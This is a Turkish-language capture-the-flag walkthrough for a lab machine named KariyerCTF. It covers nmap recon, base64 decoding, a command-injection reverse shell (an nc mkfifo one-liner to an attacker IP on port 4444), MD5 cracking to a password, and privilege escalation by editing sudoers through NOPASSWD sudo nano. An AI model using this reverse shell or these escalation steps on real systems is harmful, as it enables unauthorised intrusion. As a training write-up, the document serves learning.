

## CTF

Nmap taraması ile ctf çözümüne başlanır. Nmap taramasında 8080 portunun açık olduğu görülür ve web sayfasına gidilir.

```
(kali㉿kali)-[~]  
$ nmap 10.10.154.188 -T4 -sCV -vv  
Starting Nmap 7.91 ( https://nmap.org ) at 2022-10-31 11:12 CDT  
NSE: Loaded 153 scripts for scanning.  
NSE: Script Pre-scanning.  
  
5907/tcp filtered unknown no-response  
5987/tcp filtered wbem-rmi no-response  
6565/tcp filtered unknown no-response  
7201/tcp filtered dlip no-response  
8042/tcp filtered fs-agent no-response  
8080/tcp open http syn-ack Apache httpd 2.2.22 ((Debian))  
_http-methods:  
_Supported Methods: GET HEAD POST OPTIONS  
_http-open-proxy: Potentially OPEN proxy.  
_Methods supported: CONNECTION  
_http-server-header: Apache/2.2.22 (Debian)  
_http-title: KariyerCTF
```

Ardından önümüze gelen web sayfasının kaynak kodu incelenir.

```
93  
94 </head>  
95 <body>  
96  
97 <div class="page">  
98 <pre style="display:none;">  
99 'a2FyaXllci5waHA='  
100
```

Kaynak kodda şifreli bir kelime karşımıza gelir. Bu şifreli kelime çözülür.

```
✓ Found:  
  
a2FyaXllci5waHA=:kariyer.php
```

Ve böylece bir tane daha sayfayla karşılaşırız. “kariyer.php” sayfasına gidilir.

```
Whois Domain Aracı  
  
r\m /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.18.5.148 4444 >/tmp/f Calistir
```

Burada karşımıza pwncat ile dinleme yapıp shell alabileceğimiz bir alan geliyor.

<https://www.revshells.com> adresinden her hangi bir shell denenir.

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.18.5.148 4444 >/tmp/f
```

Sayfanın başlığında “Command Injection” olduğu için hemen aklımıza shell üzerine ‘\’ eklemek gelir.

Aynı anda pwncat üzerinde de dinlemeye hazırlanılır.

“pwncat-cs -lp 4444” ile dinlenme başlatılır. Komut çalıştırıldıktan sonra artık sisteme girilir.

```
(remote) www-data@kariyernet:/var/www$ ls
flag1.txt index.php kariyer.php
(remote) www-data@kariyernet:/var/www$ cat flag1.txt
Flag{1lk_4d1m_t4m4m}
(remote) www-data@kariyernet:/var/www$
```

Ve ilk flag okunur.

1919.png dosyasına erişip içinde bir şey olup olmadığına bakmak için http simple server bağlantısı kurulur. Bağlantı ile resim dosyasına erişilip indirilir.

```
(remote) www-data@kariyernet:/home/kariyer1/Masaüstü$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.18.5.148 - - [31/Oct/2022 18:21:29] "GET / HTTP/1.1" 200 -
10.18.5.148 - - [31/Oct/2022 18:21:29] code 404, message File not found
10.18.5.148 - - [31/Oct/2022 18:21:29] "GET /favicon.ico HTTP/1.1" 404 -
10.18.5.148 - - [31/Oct/2022 18:21:59] "GET /1919.png HTTP/1.1" 200 -
10.18.5.148 - - [31/Oct/2022 18:22:05] "GET /1919.png HTTP/1.1" 200 -
10.18.5.148 - - [31/Oct/2022 18:22:56] "GET / HTTP/1.1" 200 -
```

```
(kali@kali)-[~]
$ wget http://10.10.154.188:8000/1919.png
--2022-10-31 11:22:05-- http://10.10.154.188:8000/1919.png
Connecting to 10.10.154.188:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 535610 (523K) [image/png]
Saving to: '1919.png.2'

1919.png.2          100%[=====>] 523.06K  465KB/s   in 1.1s

2022-10-31 11:22:06 (465 KB/s) - '1919.png.2' saved [535610/535610]
```

<https://www.aperisolve.com> adresine resim yüklenerek incelenir. Şifreli yapı çözülür. Md5 formatındadır.

```
1fb9c14e934b825a62d15230cc0c2bd1"
"QU@DPUUP"
"@PUPADQU"
"#####"
```

1fb9c14e934b825a62d15230cc0c2bd1:p@ssw0rd123

flag2.txt için kariyer1 kullanıcısına geçilmelidir. Bunun için “su kariyer1” komutu çalıştırılır. flag2.txt okunur.

```
(remote) www-data@kariyernet:~/home/kariyer1/Masaüstü$ su kariyer1
Password:
kariyer1@kariyernet:~/Masaüstü$ ls
1919.png  flag2.txt  passwd.bak
kariyer1@kariyernet:~/Masaüstü$ cat flag2.txt
Flag{d3v4m_r31s}
kariyer1@kariyernet:~/Masaüstü$
```

“root” dizinine geçebilmek için erişimin olmadığı ile karşılaşılır. “sudo -l” yapılarak nano kullanarak şifresiz bir şekilde erişildiği anlaşılır.

```
kariyer1@kariyernet:~/Masaüstü$ sudo -l
Matching Defaults entries for kariyer1 on this host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kariyer1 may run the following commands on this host:
    (root) NOPASSWD: /bin/nano
kariyer1@kariyernet:~/Masaüstü$ cd ..
kariyer1@kariyernet:~$ cd ..
kariyer1@kariyernet:/home$ cd ..
kariyer1@kariyernet:/home$ cd ..
kariyer1@kariyernet:/home$ sudo nano etc/sudoers
kariyer1@kariyernet:/home$ cd ..
kariyer1@kariyernet:/home$ ls
kariyer1
kariyer1@kariyernet:/home$ cd ..
kariyer1@kariyernet:/home$ cd root/
bash: cd: root/: Erişim engellendi
kariyer1@kariyernet:/home$ sudo nano etc/sudoers
kariyer1@kariyernet:/home$ sudo chmod +rwx root/
[sudo] password for kariyer1:
kariyer1@kariyernet:/home$
```

“sudo nano etc/sudoers” ile sudoers dosyası düzenlenerek kariyer1 kullanıcısına root yetkisi verilir.

```
kariyer1@kariyernet:/home$ sudo nano etc/sudoers
kariyer1@kariyernet:/home$ sudo chmod +rwx root/
[sudo] password for kariyer1:
kariyer1@kariyernet:/home$ cd root/
kariyer1@kariyernet:/root$ ls
flag3.txt  lamp
kariyer1@kariyernet:/root$ cat flag3.txt
Flag{s3rt1f1k4_s3n1nd1r}
kariyer1@kariyernet:/root$
```

“root” dizinine chmod +rwx ile yetki yükseltilerek erişimi sağlanır. flag3.txt artık okunabilir.